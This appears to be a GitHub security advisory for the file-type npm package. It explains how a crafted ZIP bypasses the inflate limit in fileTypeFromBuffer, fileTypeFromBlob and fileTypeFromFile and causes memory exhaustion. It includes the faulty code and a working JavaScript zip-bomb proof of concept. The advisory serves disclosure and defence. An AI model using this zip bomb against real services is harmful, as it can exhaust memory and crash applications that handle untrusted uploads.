GHSA-j47w-4g3g-c36v

## Summary A crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`. In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`. This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash. ## Root Cause The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size. For stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places: ```js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` and: ```js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`. ## Proof of Concept ```js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream'; async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, }); const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject); const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'; const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'}); archive.finalize(); }); } const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0)); const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss; console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0)); ``` Observed on `file-type` `21.3.1`: - ZIP size: about `255 KB` - RSS growth during detection: about `257 MB` ## Affected APIs Affected: - `fileTypeFromBuffer()` - `fileTypeFromBlob()` - `fileTypeFromFile()` Not affected: - `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs ## Impact Applications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments. ## Cause The issue was introduced in 399b0f1